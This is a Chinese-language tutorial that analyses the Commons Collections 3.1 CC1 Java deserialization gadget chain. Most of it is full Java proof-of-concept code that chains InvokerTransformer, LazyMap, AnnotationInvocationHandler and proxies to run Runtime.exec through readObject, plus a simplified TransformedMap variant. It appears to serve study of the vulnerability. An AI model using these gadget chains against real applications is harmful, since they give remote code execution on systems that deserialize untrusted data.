Map数据结构:
Map是一种把键对象和值对象映射的集合,每一个元素包含一对键对象和值对象。
利用链分析
测试环境:
- jdk1.7(>8u71已修复不再可用
- Commons Collections 3.1
```java
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
先对后半段进行分析,可见大部分类都调用了其transform方法,可见其继承同一个接口Transformer,其中包含了transform方法,通过实现此接口来达到类型转换的目的,返回一个transormed object--<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168160936-4613b5bb-dcbf-48f4-9db0-efb5d54449f4.png#align=left&display=inline&height=156&margin=%5Bobject%20Object%5D&name=image.png&originHeight=312&originWidth=1409&size=52293&status=done&style=none&width=704.5)<br />CC链用到实现此接口的类有如下三个:
- InvokerTransformer:通过使用其反射来调用某方法
![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168321607-40c398da-2525-428c-b688-b6e02b5a1db0.png#align=left&display=inline&height=139&margin=%5Bobject%20Object%5D&name=image.png&originHeight=278&originWidth=1392&size=44491&status=done&style=none&width=696)
- ConstantTransformer:其方法将输入原封不动的返回
![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168977005-856d0815-9dd4-47b1-8c8a-fffb54b2f991.png#align=left&display=inline&height=194&margin=%5Bobject%20Object%5D&name=image.png&originHeight=387&originWidth=1296&size=52304&status=done&style=none&width=648)
- ChainedTransformer:其transform方法实现了对每个传入transform都调用其transform方法,并将结果作为下一次的输入传递进去
![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622169180659-daabdf58-42f6-4c93-aaeb-b352faa1204d.png#align=left&display=inline&height=235&margin=%5Bobject%20Object%5D&name=image.png&originHeight=469&originWidth=1334&size=67675&status=done&style=none&width=667)<br />将此三个组合起来即可命令执行。
<a name="rgwjK"></a>
#### cc1:
```java
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }), //这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果。
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
chain.transform(123);
}
}
至此我们已经到 只需要调用transform就能达到rce,我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。
cc2:
LazyMap的get方法#
如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了。
这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值。
但是这里的构造方法并不是public的,所以需要①通过反射的方式来获取到这个构造方法,再创建其实例、②或者利用decorate进行修饰其返回值则为LazyMap的构造方法
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
//chain.transform("123"); 以下的操作都是为了自动调用本部操作
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true); //对LazyMap的protect构造方法进行调用、也可以使用decorate进行修饰调用
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain); //将chain对象传递给factory变量
map.get(123);
}
}
这里就可以看到与上方接轨了 实现了间接调用chain.transform方法
cc3:
接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析CC1的前半段链了。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
这里的readObject又调用了var4.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
.......
default:
Object var6 = this.memberValues.get(var4);
.....
}
在AnnotatioInvocationHandler的invoke方法里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,则就会触发LazyMap#get方法,致使完成rce。
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
//map.get(123)
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
proxy_map.entrySet(); //这里可以调用proxy_map对象的任意一个不会被break的方法即可
}
}
这里首先对AnnotationInvocationHandler类的构造方法进行调用为了将map类型赋值给this.memberValues,便于后续调用map.get方法。
然后创建一个代理对象,在调用代理对象的任何方法时(视情况而定)都会触发其被代理类的invoke方法。然后就可以执行this.memberValues(map).get方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
如上图所示:除调用hashcode与tostring方法外都可以触发其invoke方法。
cc4:
当然除上述方法外:还可以通过再创建一个代理对象来进行触发invoke方法(即使用两个动态代理)。设置两个handler,第一个handler为了触发lazymap#get,而第二个实际上是为了触发代理类所设置handler的invoke方法。
完整的poc如下:
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
//chain.transform(123);
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
//map.get(123)
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
//proxy_map.clear();
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
questions
- 1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?
因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例。
- 2.为什么创建其实例时传入的第一个参数是Override.class?
因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类:
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}
而Override.class正是java自带的一个注解类。
为什么再jdk版本8u71后不可用?
Java 8u71以后,这个利⽤链不能再利⽤了,主要原因sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
简化代码:
package com.serializable;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ //实例化接口,定义了一个transform方法
new ConstantTransformer(Runtime.getRuntime()), //将实例化的Runtime类作为参数传给 继承Transformer接口的ConstantTransformer类
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),//也是一个实现Transformer接口的类,将传入的参数进行赋值,再传入实现的接口方法中
};
Transformer transformerChain = new ChainedTransformer(transformers); //也继承了Transformer接口的类,将以上实例化的对象(包含了我们要调用的方法函数参命令)作为参数传入传给chainedTransfrmer方法
Map innerMap = new HashMap(); //实例化hashMap函数
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //此函数继承了Serializable类,对innerMap的值是否为NUll进行了一个判断,对map数据结构进行一个修饰
outerMap.put("test", "xxxx"); //
}
}
类分析:大致如上代码所示(与ysoserial里面利用的lazyMap利用链 不同
TransformedMap类: TransformedMap用于对Map类的包装修饰。被修饰过的Map在添加新的元素时,将可 以执⾏⼀个“回调”。如上所述,传出的outerMap对象即是修饰后的Map。keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类(可通过反射执行代码的类)。
断点调试进入:
- 进入ConstantTransformer函数,将实例化的Runtime对象赋值给iConstant作为transformers对象数组第一个值
- 进入InvokeTransformer函数,将参数传入该函数赋值给iMethodName,iParamtypes,iArgs参数作为transformers对象数组第二个值
- 进入ChainedTransformer函数,将transformers对象数组赋值给iTransformers作为tansformerChain对象。
- 实例化hashMap对象,修饰Map结构对象,将传入TransformedMap.decorate再次作为参数赋给实例化的TransformedMap对象。。。
- 将传入的参数进行赋值,便于后续做判断,ChainedTransformer的iTransformers对象赋值给valueTransformer参数。
- 最后进入最关键的一步,调用TransformedMap类的put函数即可命令执行。
- 即可执行成功。接下来就来探索一下反序列化利用链如何触发。